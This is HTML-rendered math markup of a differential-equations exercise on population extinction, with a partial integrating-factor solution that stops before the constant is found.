&lt;p&gt;(a) Find the time t which the population becomes extinct if &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;800&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;p(0) = 800&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;800&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;(b) Find the initial population &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;p_0&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.625em;vertical-align:-0.1944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; if the population is to become extinct in 1 year.&lt;/p&gt;
&lt;h4 id=&quot;sol&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#sol&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;sol&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(a)&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;450&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mtext&gt;take &lt;/mtext&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\frac{dP}{dt} - \frac{1}{2} P = -450 ,\text{take } \mu(t) = e^{-\frac{1}{2}t} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.2251em;vertical-align:-0.345em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8801em;&quot;&gt;&lt;span style=&quot;top:-2.655em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.394em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.345em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1901em;vertical-align:-0.345em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8451em;&quot;&gt;&lt;span style=&quot;top:-2.655em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.394em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.345em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;450&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;take &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;μ&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.954em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;450&lt;/mn&gt;&lt;mo&gt;∫&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;e^{-\frac{1}{2}t}P = -450 \int{e^{-\frac{1}{2}t}} dt = 900 e^{-\frac{1}{2}t} + C&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.954em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.2601em;vertical-align:-0.3061em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;450&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop op-symbol small-op&quot; style=&quot;margin-right:0.1945em;position:relative;top:-0.0006em;&quot;&gt;∫&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.0373em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0715em;&quot;&gt;C&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
